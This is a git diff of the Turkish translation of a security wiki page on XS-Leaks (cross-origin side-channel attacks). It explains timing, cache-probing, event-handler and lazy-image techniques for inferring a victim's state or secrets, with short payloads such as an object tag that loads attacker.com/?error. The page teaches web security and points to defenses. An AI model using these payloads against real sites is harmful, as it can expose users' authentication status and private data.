`Content-Disposition` başlığı, özellikle `Content-Disposition: attachment`, tarayıcıya içeriği çevrimiçi olarak görüntülemek yerine indirmesi talimatını verir. Bu davranış, bir kullanıcının dosya indirmesini tetikleyen bir sayfaya erişip erişmediğini tespit etmek için istismar edilebilir. Chromium tabanlı tarayıcılarda, bu indirme davranışını tespit etmek için birkaç teknik vardır:
|
||||
|
||||
1. **İndirme Çubuğu İzleme**:
|
||||
- Chromium tabanlı tarayıcılarda bir dosya indirildiğinde, tarayıcı penceresinin alt kısmında bir indirme çubuğu görünür.
|
||||
@ -753,9 +753,9 @@ Chrome'da, `X-Frame-Options` başlığı "deny" veya "same-origin" olarak ayarla
|
||||
- İçeriği bir iframe içinde yükleyerek ve navigasyon olaylarını izleyerek, içerik durumunun bir dosya indirmesine neden olup olmadığını kontrol etmek mümkündür (navigasyon yok) veya olmadığını kontrol edebiliriz.
|
||||
3. **Iframe Olmadan İndirme Navigasyonu**:
|
||||
- Iframe tekniğine benzer şekilde, bu yöntem bir iframe yerine `window.open` kullanmayı içerir.
|
||||
- Yeni açılan penceredeki navigasyon olaylarını izlemek, bir dosya indirmenin tetiklenip tetiklenmediğini (navigasyon yok) veya içeriğin satır içi olarak görüntülenip görüntülenmediğini (navigasyon gerçekleşir) ortaya çıkarabilir.
|
||||
- Yeni açılan penceredeki navigasyon olaylarını izlemek, bir dosya indirmenin tetiklenip tetiklenmediğini (navigasyon yok) veya içeriğin çevrimiçi olarak görüntülenip görüntülenmediğini (navigasyon gerçekleşir) ortaya çıkarabilir.
|
||||
|
||||
Sadece giriş yapmış kullanıcıların bu tür indirmeleri tetikleyebildiği senaryolarda, bu teknikler kullanıcının kimlik doğrulama durumunu dolaylı olarak çıkarım yapmak için kullanılabilir.
|
||||
Sadece giriş yapmış kullanıcıların bu tür indirmeleri tetikleyebildiği senaryolarda, bu teknikler, tarayıcının indirme isteğine yanıtına dayanarak kullanıcının kimlik doğrulama durumunu dolaylı olarak çıkarabilir.
|
||||
|
||||
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
|
||||
|
||||
@ -767,12 +767,12 @@ Sadece giriş yapmış kullanıcıların bu tür indirmeleri tetikleyebildiği s
|
||||
|
||||
> [!WARNING]
|
||||
> Bu tekniğin ilginç olmasının nedeni: Chrome artık **önbellek bölümlendirmesi** yapıyor ve yeni açılan sayfanın önbellek anahtarı: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`; ancak bir ngrok sayfası açıp içinde fetch kullanırsam, önbellek anahtarı: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)` olacaktır; **önbellek anahtarı farklıdır**, bu nedenle önbellek paylaşılmaz. Daha fazla ayrıntıyı burada bulabilirsiniz: [Önbelleği bölümlendirerek güvenlik ve gizlilik kazanma](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> (Comment from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
> ([**Buradan**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) gelen bir yorum)
|
||||
|
||||
Eğer bir site `example.com`, `*.example.com/resource` adresinden bir kaynak içeriyorsa, o kaynak, kaynağın doğrudan **üst düzey navigasyon** ile talep edilmiş gibi **aynı önbellek anahtarına** sahip olacaktır. Çünkü önbellek anahtarı, üst düzey _eTLD+1_ ve çerçeve _eTLD+1_'den oluşur.
|
||||
|
||||
Önbelleğe erişim, bir kaynağı yüklemekten daha hızlı olduğundan, bir sayfanın konumunu değiştirmeyi ve durdurduktan sonra 20ms (örneğin) sonra iptal etmeyi denemek mümkündür. Eğer durdurduktan sonra köken değiştiyse, bu, kaynağın önbelleğe alındığı anlamına gelir.\
|
||||
Ya da sadece **potansiyel olarak önbelleğe alınmış sayfaya bazı fetch'ler gönderip geçen süreyi ölçebilirsiniz**.
|
||||
Önbelleğe erişmek, bir kaynağı yüklemekten daha hızlı olduğundan, bir sayfanın konumunu değiştirmeyi ve durdurduktan 20ms (örneğin) sonra iptal etmeyi denemek mümkündür. Eğer durdurduktan sonra köken değiştiyse, bu, kaynağın önbelleğe alındığı anlamına gelir.\
|
||||
Ya da sadece **önbelleğe alınmış sayfaya bazı fetch'ler gönderip geçen süreyi ölçebilirsiniz**.
|
||||
|
||||
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
@ -789,17 +789,17 @@ Ya da sadece **potansiyel olarak önbelleğe alınmış sayfaya bazı fetch'ler
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Zamanlama
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
- **Summary:** Bir kaynağı yüklemeye çalışmak ve yüklenmeden önce yüklemeyi kesmek mümkündür. Bir hata tetiklenip tetiklenmediğine bağlı olarak, kaynak önbelleğe alınmış ya da alınmamıştır.
|
||||
- **Summary:** Bir kaynağı yüklemeyi denemek ve yüklenmeden önce yüklemeyi kesmek mümkündür. Bir hata tetiklenip tetiklenmediğine bağlı olarak, kaynak önbelleğe alınmış ya da alınmamıştır.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
|
||||
_**fetch**_ ve _**setTimeout**_ kullanarak bir **AbortController** ile hem **kaynağın önbelleğe alınıp alınmadığını** tespit etmek hem de belirli bir kaynağı tarayıcı önbelleğinden çıkarmak mümkündür. Ayrıca, bu işlem yeni içerik önbelleğe almadan gerçekleşir.
|
||||
_**fetch**_ ve _**setTimeout**_ kullanarak bir **AbortController** ile hem **kaynağın önbelleğe alınıp alınmadığını** tespit etmek hem de belirli bir kaynağı tarayıcı önbelleğinden çıkarmak mümkündür. Ayrıca, bu işlem yeni içerik önbelleğe alınmadan gerçekleşir.
|
||||
|
||||
### Script Pollution
|
||||
|
||||
- **Inclusion Methods**: HTML Elemanları (script)
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Summary:** Yerleşik fonksiyonları **geçersiz kılmak** ve bunların argümanlarını okumak mümkündür; bu, **çapraz kökenli script**'ten (doğrudan okunamaz) bile olabilir; bu, **değerli bilgiler sızdırabilir**.
|
||||
- **Summary:** Yerleşik fonksiyonları **aşırı yazmak** ve bunların argümanlarını okumak mümkündür; bu, **çapraz kökenli script**'lerden bile (doğrudan okunamaz) değerli bilgileri **sızdırabilir**.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
|
||||
### Service Workers <a href="#service-workers" id="service-workers"></a>
|
||||
@ -807,15 +807,15 @@ _**fetch**_ ve _**setTimeout**_ kullanarak bir **AbortController** ile hem **kay
|
||||
- **Inclusion Methods**: Pop-ups
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
|
||||
- **Summary:** Service worker kullanarak bir webin yürütme süresini ölçün.
|
||||
- **Summary:** Service worker'lar kullanarak bir webin yürütme süresini ölçün.
|
||||
- **Code Example**:
|
||||
|
||||
Verilen senaryoda, saldırgan, kendi alanlarından biri olan "attacker.com" içinde bir **service worker** kaydetme girişiminde bulunur. Ardından, saldırgan ana belgede hedef web sitesinde yeni bir pencere açar ve **service worker**'a bir zamanlayıcı başlatmasını talimatını verir. Yeni pencere yüklenmeye başladığında, saldırgan önceki adımda elde edilen referansı **service worker** tarafından yönetilen bir sayfaya yönlendirir.
|
||||
Verilen senaryoda, saldırgan, kendi alanlarından biri olan "attacker.com" içinde bir **service worker** kaydetme girişiminde bulunur. Ardından, saldırgan ana belgeden hedef web sitesinde yeni bir pencere açar ve **service worker**'a bir zamanlayıcı başlatmasını talimatını verir. Yeni pencere yüklenmeye başladığında, saldırgan önceki adımda elde edilen referansı **service worker** tarafından yönetilen bir sayfaya yönlendirir.
|
||||
|
||||
Önceki adımda başlatılan isteğin varışında, **service worker** **204 (No Content)** durum kodu ile yanıt verir ve navigasyon sürecini etkili bir şekilde sonlandırır. Bu noktada, **service worker** daha önce ikinci adımda başlatılan zamanlayıcıdan bir ölçüm alır. Bu ölçüm, navigasyon sürecinde gecikmelere neden olan JavaScript'in süresinden etkilenir.
|
||||
Önceki adımda başlatılan isteğin varışında, **service worker** **204 (No Content)** durum kodu ile yanıt verir ve navigasyon sürecini etkili bir şekilde sonlandırır. Bu noktada, **service worker** daha önce ikinci adımda başlatılan zamanlayıcıdan bir ölçüm alır. Bu ölçüm, JavaScript'in navigasyon sürecinde neden olduğu gecikmelerden etkilenir.
|
||||
|
||||
> [!WARNING]
|
||||
> Bir yürütme zamanlamasında, **ağ faktörlerini** ortadan kaldırmak mümkündür; böylece **daha hassas ölçümler** elde edilebilir. Örneğin, sayfa yüklenmeden önce sayfanın kullandığı kaynakları yükleyerek.
|
||||
> Bir yürütme zamanlamasında, **daha kesin ölçümler** elde etmek için **ağ faktörlerini** **ortadan kaldırmak** mümkündür. Örneğin, sayfa yüklenmeden önce sayfanın kullandığı kaynakları yükleyerek.
|
||||
|
||||
### Fetch Timing
|
||||
|
||||
@ -833,9 +833,9 @@ Verilen senaryoda, saldırgan, kendi alanlarından biri olan "attacker.com" içi
|
||||
- **Summary:** `window.open` kullanarak bir isteği gerçekleştirmek için geçen süreyi ölçmek için [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) kullanın. Diğer saatler de kullanılabilir.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
|
||||
## With HTML or Re Injection
|
||||
## HTML veya Re Enjeksiyonu ile
|
||||
|
||||
Burada, çapraz kökenli HTML'den bilgi sızdırma tekniklerini bulabilirsiniz; **HTML içeriği enjekte etme**. Bu teknikler, herhangi bir nedenle **HTML enjekte edebiliyorsanız ancak JS kodu enjekte edemiyorsanız** ilginçtir.
|
||||
Burada, **HTML içeriği enjekte ederek** çapraz kökenli bilgileri dışa aktarmak için teknikler bulabilirsiniz. Bu teknikler, herhangi bir nedenle **HTML enjekte edebiliyorsanız ancak JS kodu enjekte edemiyorsanız** ilginçtir.
|
||||
|
||||
### Dangling Markup
|
||||
|
||||
@ -845,17 +845,17 @@ dangling-markup-html-scriptless-injection/
|
||||
|
||||
### Image Lazy Loading
|
||||
|
||||
Eğer **içerik sızdırmanız** gerekiyorsa ve **gizli olanın öncesine HTML ekleyebiliyorsanız**, **yaygın dangling markup tekniklerini** kontrol etmelisiniz.\
|
||||
Ancak, herhangi bir nedenle **her karakteri** (belki iletişim bir önbellek vuruşu ile) yapmanız **GEREKİYORSA**, bu hileyi kullanabilirsiniz.
|
||||
Eğer **içeriği dışa aktarmanız** gerekiyorsa ve **sırrın öncesine HTML ekleyebiliyorsanız**, **yaygın dangling markup tekniklerini** kontrol etmelisiniz.\
|
||||
Ancak, herhangi bir nedenle **karakter karakter** yapmanız **GEREKİYORSA** (belki iletişim bir önbellek vuruşu aracılığıyla) bu hileyi kullanabilirsiniz.
|
||||
|
||||
HTML'deki **resimler**, değeri "**lazy**" olan bir "**loading**" niteliğine sahiptir. Bu durumda, resim, sayfa yüklenirken değil, görüntülendiğinde yüklenecektir:
|
||||
```html
|
||||
<img src=/something loading=lazy >
|
||||
```
|
||||
Bu nedenle, yapabileceğiniz şey **birçok gereksiz karakter eklemek** (örneğin **binlerce "W"**) ve **sayfayı gizli bilgiden önce doldurmak veya şuna benzer bir şey eklemek** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
Bu nedenle, yapabileceğiniz şey, **gizli bilgiden önce web sayfasını doldurmak için çok sayıda gereksiz karakter eklemek** (örneğin **binlerce "W"**) veya **şuna benzer bir şey eklemek** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
Örneğin, eğer **enjeksiyonumuz bayraktan önce görünüyorsa**, **görüntü** **yüklenir**, ancak **bayraktan sonra** görünüyorsa, bayrak + gereksiz karakter **yüklenmesini engelleyecektir** (ne kadar gereksiz karakter ekleyeceğinizle oynamanız gerekecek). Bu, [**bu yazıda**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) olan şeydir.
|
||||
|
||||
Başka bir seçenek, **scroll-to-text-fragment** kullanmak olabilir, eğer izin verilirse:
|
||||
Başka bir seçenek, **izin verilirse scroll-to-text-fragment** kullanmaktır:
|
||||
|
||||
#### Scroll-to-text-fragment
|
||||
|
||||
@ -869,11 +869,11 @@ Burada post.html, saldırganın gereksiz karakterlerini ve tembel yükleme gör
|
||||
|
||||
Bu metin, botun sayfadaki `SECR` metnini içeren herhangi bir metne erişmesini sağlayacaktır. Bu metin sırdır ve **görüntünün hemen altında** yer almaktadır, **gizli kelime doğru tahmin edilirse görüntü yalnızca yüklenecektir**. Böylece, **sırrı karakter karakter dışarı sızdırmak için oracliniz var**.
|
||||
|
||||
Bunu istismar etmek için bazı kod örnekleri: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||||
Bunu istismar etmek için bir kod örneği: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||||
|
||||
### Görüntü Tembel Yükleme Zamanına Dayalı
|
||||
|
||||
Eğer **bir dış görüntüyü yüklemek mümkün değilse**, bu, saldırgana görüntünün yüklendiğini gösterebilir, başka bir seçenek ise **karakteri birkaç kez tahmin etmeye çalışmak ve bunu ölçmektir**. Eğer görüntü yüklenirse, tüm istekler görüntü yüklenmediğinde olduğundan daha uzun sürecektir. Bu, [**bu yazının çözümünde**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **özetlenen** şeydir:
|
||||
Eğer **harici bir görüntüyü yüklemek mümkün değilse**, bu, saldırgana görüntünün yüklendiğini gösterebilir, başka bir seçenek ise **karakteri birkaç kez tahmin etmeye çalışmak ve bunu ölçmektir**. Eğer görüntü yüklenirse, tüm istekler, görüntü yüklenmediğinde olduğundan daha uzun sürecektir. Bu, [**bu yazının çözümünde**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **özetlenmiştir:**
|
||||
|
||||
{{#ref}}
|
||||
xs-search/event-loop-blocking-+-lazy-images.md
|
||||
@ -893,17 +893,17 @@ $(
|
||||
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
|
||||
)
|
||||
```
|
||||
### CSS Enjeksiyonu
|
||||
### CSS Injection
|
||||
|
||||
{{#ref}}
|
||||
xs-search/css-injection/
|
||||
{{#endref}}
|
||||
|
||||
## Savunmalar
|
||||
## Defenses
|
||||
|
||||
Bu tekniklere karşı nasıl korunacağınız hakkında daha fazla bilgi için [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) ve wiki'nin her bölümünde [https://xsleaks.dev/](https://xsleaks.dev/) önerilen önlemler bulunmaktadır.
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
- [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
|
||||
- [https://xsleaks.dev/](https://xsleaks.dev)
|
||||
|
||||
@ -4,52 +4,52 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
XS-Search, **yan kanal zafiyetlerini** kullanarak **çapraz kaynak bilgilerini** **çıkarmak için** kullanılan bir yöntemdir.
|
||||
XS-Search, **yan kanal zafiyetlerini** kullanarak **çapraz köken bilgilerini** **çıkarmak için** kullanılan bir yöntemdir.
|
||||
|
||||
Bu saldırıda yer alan ana bileşenler şunlardır:
|
||||
|
||||
- **Zayıf Web**: Bilgilerin çıkarılmasının hedeflendiği web sitesi.
|
||||
- **Saldırganın Web'i**: Saldırgan tarafından oluşturulan, kurbanın ziyaret ettiği ve istismarı barındıran kötü niyetli web sitesi.
|
||||
- **Dahil Etme Yöntemi**: Zayıf Web'i Saldırganın Web'ine dahil etmek için kullanılan teknik (örneğin, window.open, iframe, fetch, href ile HTML etiketi vb.).
|
||||
- **Saldırganın Webi**: Saldırgan tarafından oluşturulan, kurbanın ziyaret ettiği ve istismarı barındıran kötü niyetli web sitesi.
|
||||
- **Dahil Etme Yöntemi**: Zayıf Web'in Saldırganın Webi'ne dahil edilmesi için kullanılan teknik (örneğin, window.open, iframe, fetch, href ile HTML etiketi vb.).
|
||||
- **Sızıntı Tekniği**: Dahil etme yöntemi aracılığıyla toplanan bilgilere dayanarak Zayıf Web'in durumundaki farklılıkları ayırt etmek için kullanılan teknikler.
|
||||
- **Durumlar**: Saldırganın ayırt etmeyi hedeflediği Zayıf Web'in iki potansiyel durumu.
|
||||
- **Algılanabilir Farklılıklar**: Saldırganın Zayıf Web'in durumunu çıkarmak için güvendiği gözlemlenebilir varyasyonlar.
|
||||
- **Tespit Edilebilir Farklılıklar**: Saldırganın Zayıf Web'in durumunu çıkarmak için güvendiği gözlemlenebilir varyasyonlar.
|
||||
|
||||
### Algılanabilir Farklılıklar
|
||||
### Tespit Edilebilir Farklılıklar
|
||||
|
||||
Zayıf Web'in durumlarını ayırt etmek için analiz edilebilecek birkaç yön vardır:
|
||||
|
||||
- **Durum Kodu**: **Çeşitli HTTP yanıt durum kodları** arasında ayırt etme, sunucu hataları, istemci hataları veya kimlik doğrulama hataları gibi.
|
||||
- **API Kullanımı**: Sayfalar arasında **Web API'lerinin kullanımını** belirleme, çapraz kaynak bir sayfanın belirli bir JavaScript Web API'sini kullanıp kullanmadığını ortaya çıkarma.
|
||||
- **Yönlendirmeler**: Farklı sayfalara yapılan navigasyonları tespit etme, sadece HTTP yönlendirmeleri değil, aynı zamanda JavaScript veya HTML tarafından tetiklenenleri de.
|
||||
- **Sayfa İçeriği**: **HTTP yanıt gövdesindeki** veya sayfa alt kaynaklarındaki varyasyonları gözlemleme, örneğin **gömülü çerçeve sayısı** veya resimlerdeki boyut farklılıkları.
|
||||
- **API Kullanımı**: Sayfalar arasında **Web API'lerinin kullanımını** belirleme, çapraz köken bir sayfanın belirli bir JavaScript Web API'sini kullanıp kullanmadığını ortaya çıkarma.
|
||||
- **Yönlendirmeler**: Farklı sayfalara yapılan navigasyonları tespit etme, sadece HTTP yönlendirmeleri değil, aynı zamanda JavaScript veya HTML tarafından tetiklenenler.
|
||||
- **Sayfa İçeriği**: **HTTP yanıt gövdesindeki** veya sayfa alt kaynaklarındaki varyasyonları gözlemleme, örneğin **gömülü çerçevelerin sayısı** veya resimlerdeki boyut farklılıkları.
|
||||
- **HTTP Başlığı**: **Belirli bir HTTP yanıt başlığının** varlığını veya muhtemel değerini not etme, X-Frame-Options, Content-Disposition ve Cross-Origin-Resource-Policy gibi başlıklar dahil.
|
||||
- **Zamanlama**: İki durum arasındaki tutarlı zaman farklılıklarını fark etme.
|
||||
|
||||
### Dahil Etme Yöntemleri
|
||||
|
||||
- **HTML Elemanları**: HTML, **çapraz kaynak dahil etme** için çeşitli elemanlar sunar, stil sayfaları, resimler veya betikler gibi, tarayıcının HTML dışı bir kaynağı talep etmesini zorunlu kılar. Bu amaçla potansiyel HTML elemanlarının bir derlemesi [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) adresinde bulunabilir.
|
||||
- **HTML Elemanları**: HTML, **çapraz köken kaynak dahil etme** için çeşitli elemanlar sunar, stil sayfaları, resimler veya betikler gibi, tarayıcının HTML dışı bir kaynağı talep etmesini zorunlu kılar. Bu amaçla potansiyel HTML elemanlarının bir derlemesi [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) adresinde bulunabilir.
|
||||
- **Çerçeveler**: **iframe**, **object** ve **embed** gibi elemanlar, HTML kaynaklarını doğrudan saldırganın sayfasına gömebilir. Sayfa **çerçeve koruması** eksikse, JavaScript, içerikWindow özelliği aracılığıyla çerçevelenmiş kaynağın pencere nesnesine erişebilir.
|
||||
- **Açılır Pencereler**: **`window.open`** yöntemi, bir kaynağı yeni bir sekmede veya pencerede açar, JavaScript'in SOP'ye uygun olarak yöntemler ve özelliklerle etkileşimde bulunması için bir **pencere tutamacı** sağlar. Açılır pencereler, genellikle tek oturum açma işlemlerinde kullanılır, hedef kaynağın çerçeveleme ve çerez kısıtlamalarını aşar. Ancak, modern tarayıcılar açılır pencere oluşturmayı belirli kullanıcı eylemleriyle sınırlamaktadır.
|
||||
- **Açılır Pencereler**: **`window.open`** yöntemi, bir kaynağı yeni bir sekmede veya pencerede açar ve JavaScript'in SOP'ye uygun olarak yöntemler ve özelliklerle etkileşimde bulunması için bir **pencere tutamacı** sağlar. Açılır pencereler, genellikle tek oturum açma işlemlerinde kullanılır, hedef kaynağın çerçeveleme ve çerez kısıtlamalarını aşar. Ancak, modern tarayıcılar açılır pencere oluşturmayı belirli kullanıcı eylemleriyle sınırlamaktadır.
|
||||
- **JavaScript İstekleri**: JavaScript, **XMLHttpRequests** veya **Fetch API** kullanarak hedef kaynaklara doğrudan istekler yapmaya izin verir. Bu yöntemler, isteği takip etme gibi isteğin üzerinde hassas kontrol sağlar.
|
||||
|
||||
### Sızıntı Teknikleri
|
||||
|
||||
- **Olay İşleyici**: XS-Leaks'teki klasik bir sızıntı tekniği, **onload** ve **onerror** gibi olay işleyicilerin kaynak yükleme başarısı veya başarısızlığı hakkında bilgi sağlamasıdır.
|
||||
- **Hata Mesajları**: JavaScript istisnaları veya özel hata sayfaları, ya hata mesajından doğrudan ya da varlığı ve yokluğu arasındaki farkı ayırt ederek sızıntı bilgisi sağlayabilir.
|
||||
- **Küresel Sınırlar**: Bir tarayıcının fiziksel sınırlamaları, bellek kapasitesi veya diğer zorunlu tarayıcı sınırları gibi, bir eşik aşıldığında sinyal verebilir ve sızıntı tekniği olarak hizmet edebilir.
|
||||
- **Küresel Durum**: Tarayıcıların **küresel durumları** (örneğin, Geçmiş arayüzü) ile algılanabilir etkileşimler istismar edilebilir. Örneğin, bir tarayıcının geçmişindeki **giriş sayısı**, çapraz kaynak sayfalar hakkında ipuçları verebilir.
|
||||
- **Performans API'si**: Bu API, **mevcut sayfanın performans detaylarını** sağlar, belgeler ve yüklenen kaynaklar için ağ zamanlaması dahil, talep edilen kaynaklar hakkında çıkarımlar yapılmasına olanak tanır.
|
||||
- **Okunabilir Nitelikler**: Bazı HTML nitelikleri **çapraz kaynak olarak okunabilir** ve sızıntı tekniği olarak kullanılabilir. Örneğin, `window.frame.length` özelliği, JavaScript'in bir web sayfasında çapraz kaynak olarak dahil edilen çerçeveleri saymasına olanak tanır.
|
||||
- **Hata Mesajları**: JavaScript istisnaları veya özel hata sayfaları, ya doğrudan hata mesajından ya da varlığı ve yokluğu arasındaki farkı ayırt ederek sızıntı bilgisi sağlayabilir.
|
||||
- **Küresel Sınırlar**: Bir tarayıcının fiziksel sınırlamaları, bellek kapasitesi veya diğer zorunlu tarayıcı sınırları gibi, bir eşik aşıldığında sinyal verebilir ve bir sızıntı tekniği olarak hizmet edebilir.
|
||||
- **Küresel Durum**: Tarayıcıların **küresel durumları** (örneğin, Geçmiş arayüzü) ile tespit edilebilir etkileşimler istismar edilebilir. Örneğin, bir tarayıcının geçmişindeki **giriş sayısı**, çapraz köken sayfalar hakkında ipuçları verebilir.
|
||||
- **Performans API'si**: Bu API, **mevcut sayfanın performans detaylarını** sağlar, belgenin ve yüklenen kaynakların ağ zamanlamasını içerir, istenen kaynaklar hakkında çıkarımlar yapmayı mümkün kılar.
|
||||
- **Okunabilir Özellikler**: Bazı HTML özellikleri **çapraz köken okunabilir** ve sızıntı tekniği olarak kullanılabilir. Örneğin, `window.frame.length` özelliği, JavaScript'in bir web sayfasında çapraz köken olarak dahil edilen çerçeveleri saymasına olanak tanır.
|
||||
|
||||
## XSinator Aracı ve Makalesi
|
||||
|
||||
XSinator, **birçok bilinen XS-Leaks'e karşı tarayıcıları kontrol etmek için** otomatik bir araçtır ve makalesinde açıklanmıştır: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
|
||||
|
||||
Araca **şu adresten erişebilirsiniz** [**https://xsinator.com/**](https://xsinator.com/)
|
||||
Araca **şu adresten erişebilirsiniz**: [**https://xsinator.com/**](https://xsinator.com/)
|
||||
|
||||
> [!WARNING]
|
||||
> **Hariç Tutulan XS-Leaks**: XSinator'daki diğer sızıntılarla çelişeceği için **hizmet çalışanlarına** dayanan XS-Leaks'leri hariç tutmak zorunda kaldık. Ayrıca, belirli bir web uygulamasındaki yanlış yapılandırma ve hatalara dayanan XS-Leaks'leri de **hariç tutmayı** seçtik. Örneğin, CrossOrigin Resource Sharing (CORS) yanlış yapılandırmaları, postMessage sızıntısı veya Cross-Site Scripting. Ayrıca, genellikle yavaş, gürültülü ve hatalı oldukları için zaman tabanlı XS-Leaks'leri de hariç tuttuk.
|
||||
> **Hariç Tutulan XS-Leaks**: XSinator'daki diğer sızıntılarla çelişeceği için **hizmet çalışanlarına** dayanan XS-Leaks'leri hariç tutmak zorunda kaldık. Ayrıca, belirli bir web uygulamasındaki yanlış yapılandırma ve hatalara dayanan XS-Leaks'leri de **hariç tutmayı** seçtik. Örneğin, CrossOrigin Resource Sharing (CORS) yanlış yapılandırmaları, postMessage sızıntıları veya Cross-Site Scripting. Ayrıca, genellikle yavaş, gürültülü ve hatalı oldukları için zaman tabanlı XS-Leaks'leri de hariç tuttuk.
|
||||
|
||||
## **Zaman Tabanlı Teknikler**
|
||||
|
||||
@ -64,9 +64,9 @@ Daha fazla bilgi için: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks]
|
||||
### Onload/Onerror
|
||||
|
||||
- **Dahil Etme Yöntemleri**: Çerçeveler, HTML Elemanları
|
||||
- **Algılanabilir Farklılık**: Durum Kodu
|
||||
- **Tespit Edilebilir Farklılık**: Durum Kodu
|
||||
- **Daha fazla bilgi**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
||||
- **Özet**: Bir kaynağı yüklemeye çalışırken, onerror/onload olayları, kaynağın başarıyla/başarısız bir şekilde yüklenmesiyle tetiklenir; durum kodunu belirlemek mümkündür.
|
||||
- **Özet**: Bir kaynağı yüklemeye çalışırken, onerror/onload olayları, kaynağın başarıyla/başarısız bir şekilde yüklenmesi durumunda tetiklenir; durum kodunu belirlemek mümkündür.
|
||||
- **Kod örneği**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
|
||||
|
||||
{{#ref}}
|
||||
@ -75,13 +75,13 @@ cookie-bomb-+-onerror-xs-leak.md
|
||||
|
||||
Kod örneği, **JS'den betik nesnelerini yüklemeye** çalışır, ancak **diğer etiketler** (örneğin, nesneler, stil sayfaları, resimler, sesler) de kullanılabilir. Ayrıca, **etiketi doğrudan** enjekte etmek ve `onload` ve `onerror` olaylarını etiketin içinde tanımlamak da mümkündür (JS'den enjekte etmek yerine).
|
||||
|
||||
Bu saldırının ayrıca bir betiksiz versiyonu da vardır:
|
||||
Bu saldırının bir de betiksiz versiyonu vardır:
|
||||
```html
|
||||
<object data="//example.com/404">
|
||||
<object data="//attacker.com/?error"></object>
|
||||
</object>
|
||||
```
|
||||
Bu durumda, eğer `example.com/404` bulunamazsa, `attacker.com/?error` yüklenecektir.
|
||||
Bu durumda `example.com/404` bulunamazsa `attacker.com/?error` yüklenecektir.
|
||||
|
||||
### Onload Zamanlaması
|
||||
|
||||
@ -111,7 +111,7 @@ performance.now-+-force-heavy-task.md
|
||||
- **Özet:** [SharedArrayBuffer saati](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers), bir isteği gerçekleştirmek için ne kadar zaman gerektiğini ölçmek için kullanılabilir. Diğer saatler de kullanılabilir.
|
||||
- **Kod Örneği**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||||
|
||||
Bir kaynağı almak için geçen süre, [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) ve [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) olaylarını kullanarak ölçülebilir. **`beforeunload`** olayı, tarayıcının yeni bir sayfaya geçiş yapmadan önce tetiklenirken, **`unload`** olayı geçişin gerçekten gerçekleştiği anda meydana gelir. Bu iki olay arasındaki zaman farkı, **tarayıcının kaynağı almak için harcadığı süreyi** belirlemek için hesaplanabilir.
|
||||
